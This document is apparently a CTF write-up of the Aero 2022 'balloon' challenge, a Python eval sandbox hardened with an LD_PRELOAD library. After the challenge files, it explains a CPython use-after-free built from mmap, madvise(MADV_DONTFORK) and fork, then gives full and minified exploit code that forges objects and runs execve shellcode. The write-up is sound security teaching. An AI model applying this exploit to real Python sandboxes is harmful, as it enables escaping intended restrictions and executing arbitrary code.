## Files

**Dockerfile**:

```Dockerfile  
FROM python:3.11-rc-slim AS builder

RUN for name in 'ctypes' 'pickle' 'test' 'cffi'; do \  
find /usr/local/lib/python3.11/ -name "*${name}*" -exec rm -rf '{}' '+'; \  
done

FROM alpine:3.16.1

RUN apk add coreutils

COPY --from=builder /lib/x86_64-linux-gnu /chroot/lib/x86_64-linux-gnu  
COPY --from=builder /lib64/ld-linux-x86-64.so.2 /chroot/lib64/ld-
linux-x86-64.so.2  
COPY --from=builder /usr/lib/x86_64-linux-gnu /chroot/usr/lib/x86_64-linux-gnu  
COPY --from=builder /usr/local/lib/python3.11 /chroot/usr/local/lib/python3.11  
COPY --from=builder /usr/local/lib/libpython3.11.so.1.0
/chroot/usr/lib/libpython3.11.so.1.0

COPY --from=builder /usr/local/bin/python3.11 /chroot/bin/

COPY preload.so balloon.py flag /chroot/challenge/

RUN chmod 111 /chroot/challenge/flag \  
&& chmod 555 /chroot/challenge/preload.so \  
&& chmod 444 /chroot/challenge/balloon.py

COPY entrypoint.sh /tmp/entrypoint.sh

RUN chmod 555 /tmp/entrypoint.sh

ENTRYPOINT [ "/tmp/entrypoint.sh" ]  
```

**entrypoint.sh**:

```sh  
#!/bin/sh

export LD_PRELOAD=/challenge/preload.so

chroot --userspec=1000:1000 /chroot \  
/bin/python3.11 -u /challenge/balloon.py  
```

**balloon.py**:

```python  
#!/usr/bin/env python3

import os

VERY_NICE = 1337

def execute(payload: str) -> object:  
try:  
return eval(payload)  
except Exception as e:  
return f'[-] {e}'

def main() -> None:  
os.nice(VERY_NICE)

os.write(1, b'[*] Please, input a payload:\n> ')  
payload = os.read(0, 512).decode()

os.close(0)

result = execute(payload)  
print(result)

os._exit(0)

if __name__ == '__main__':  
main()  
```

**preload.c**:

```c  
__attribute__((visibility ("hidden"))) void forbidden() {  
write(1, "[-] Security check failed :(\n", 29);

asm (  
"mov $0x3c, %rax;"  
"syscall;"  
);  
}

__attribute__((visibility ("hidden"))) void replace_obj(void *ptr, int size) {  
for (int i = 2; i < size / sizeof(unsigned long long); i++) {  
((unsigned long long *)(ptr))[i] = &forbidden;  
}  
}

void syscall(int number) {  
if (number != 0xba) {  
forbidden();  
}

asm (  
"mov $0xba, %rax;"  
"syscall;"  
);  
}

void system() {  
forbidden();  
}

void execve() {  
forbidden();  
}

void fexecve() {  
forbidden();  
}

void execveat() {  
forbidden();  
}

void execl() {  
forbidden();  
}

void execlp() {  
forbidden();  
}

void execle() {  
forbidden();  
}

void execv() {  
forbidden();  
}

void execvp() {  
forbidden();  
}

void execvpe() {  
forbidden();  
}

void nice() {  
unsigned long long python_base = &syscall - 0x79319a + 0x1c5000;

// io.BufferedReader  
replace_obj(python_base + 0x5531a0, 0x1a8);  
// io.BufferedWriter  
replace_obj(python_base + 0x552e60, 0x1a8);  
// memoryview  
replace_obj(python_base + 0x559a80, 0x1a8);  
// bytearray  
replace_obj(python_base + 0x560c20, 0x1a8);

write(1, "[*] Security check initialized\n", 31);

asm (  
"mov $1, %rax;"  
);  
}  
```

## Overview

We need to bypass python's memory checks and do memory corruption.

There are some existing bugs in cpython that works on the latest version:

\-
[https://github.com/python/cpython/issues/91153](https://github.com/python/cpython/issues/91153)
(will be fixed in Python 3.12)

\-
[https://github.com/python/cpython/issues/60198](https://github.com/python/cpython/issues/60198),
here is a [public exploit](https://pwn.win/2022/05/11/python-buffered-
reader.html)

The author tried to fix these bugs by removing `memoryview`, `bytearray`,
`io.BufferedReader` and `io.BufferedWriter` objects.

## Solution

The intended solution is based on [mmap](https://man7.org/linux/man-
pages/man2/mmap.2.html) and [madvise](https://man7.org/linux/man-
pages/man2/madvise.2.html) syscalls. There are a useful parameter for
`madvise()`:

```  
MADV_DONTFORK (since Linux 2.6.16)  
Do not make the pages in this range available to the child  
after a fork(2). This is useful to prevent copy-on-write  
semantics from changing the physical location of a page if  
the parent writes to it after a fork(2). (Such page  
relocations cause problems for hardware that DMAs into the  
page.)  
```

It means that if we've set MADV_DONTFORK on a page, this page will not be
copied to fork. How to use this?

1\. Create a page using `mmap.mmap()`, call `madvise(MADV_DONTFORK)` on this
page.

2\. Call `os.fork()`. The page will not exists in child, but the object
containing the pointer will be copied. So we have got a bad pointer `ptr` in
child.

3\. Allocate a very long list `list` in child, for example 0x1000 elements.
The existing Python's heap are too small for this, so the allocator will call
`mmap()` to get more space. The address of a new page will be the same as
`ptr`.

4\. So `list` and `ptr` point to the same memory, this is use-after-free
vulnerability.

5\. Create a fake object type with custom `repr()` function that contains a
payload. Then create an instance `obj` of this object.

6\. Add `obj` to `list` using `ptr`. Then call `repr(list)`.

Example solution:

```python  
import os  
import time  
import mmap

page = mmap.mmap(-1, 0x1000 * 16)  
page.madvise(mmap.MADV_DONTFORK)

serialize = lambda x: b''.join(y.to_bytes(8, 'little') for y in x)

if os.fork():  
time.sleep(1)  
else:  
array = [0] * 4096 * 25  
page_ptr = id(array) - 0x110940

obj_type = serialize(  
[  
2, id(type),  
0, id(b'') + 32,  
33, 1,  
] + [page_ptr] * 32  
)

obj = serialize(  
[  
2, id(obj_type) + 32,  
0, 1,  
]  
)

page[:8] = serialize([id(obj) + 32])

path = b'/challenge/flag'  
path_ptr = serialize([id(path) + 32])

# a tiny execve shellcode using `path_ptr` in rdi  
shellcode = b'\x48\x31\xC0\xB0\x3B\x48\xBF' + path_ptr +
b'\x48\x31\xF6\x48\x31\xD2\x48\x31\xC9\x0F\x05'  
  
rwx_page = mmap.mmap(-1, 0x1000 * 8, prot = 7)  
rwx_page.write(b'\x90' * 0x1000 * 8)  
rwx_page[-len(shellcode):] = shellcode

str(a)  
```

The challenge limits input's length, so the actual solution is minified.

Example minified solution:

```python  
[0 if p.madvise(10)else(i('time').sleep(1)if i('os').fork()else
exec(r"s=lambda x:b''.join(y.to_bytes(8,'little')for y in
x);a=[0]*4096*25;t=s([2,id(type),0,id(b'')+32,33,1]+[id(a)-0x110940]*32);o=s([2,id(t)+32,0,1]);p[:8]=s([id(o)+32]);e=b'/challenge/flag';c=b'\x48\x31\xC0\xB0\x3B\x48\xBF'+s([id(e)+32])+b'\x48\x31\xF6\x48\x31\xD2\x48\x31\xC9\x0F\x05';w=i('mmap').mmap(-1,0x8000,prot=7);w.write(b'\x90'*0x8000);w[-len(c):]=c;str(a)"))for
i in[__import__]for p in[i('mmap').mmap(-1,0x1000*16)]]  
```

# Flag

```  
Aero{RCE_1n_Pyth0n_1s_d4NG3r0uS_ev3Ry_t1m3}  
```  

Original writeup (https://blog.kelte.cc/posts/aero-2022-balloon/).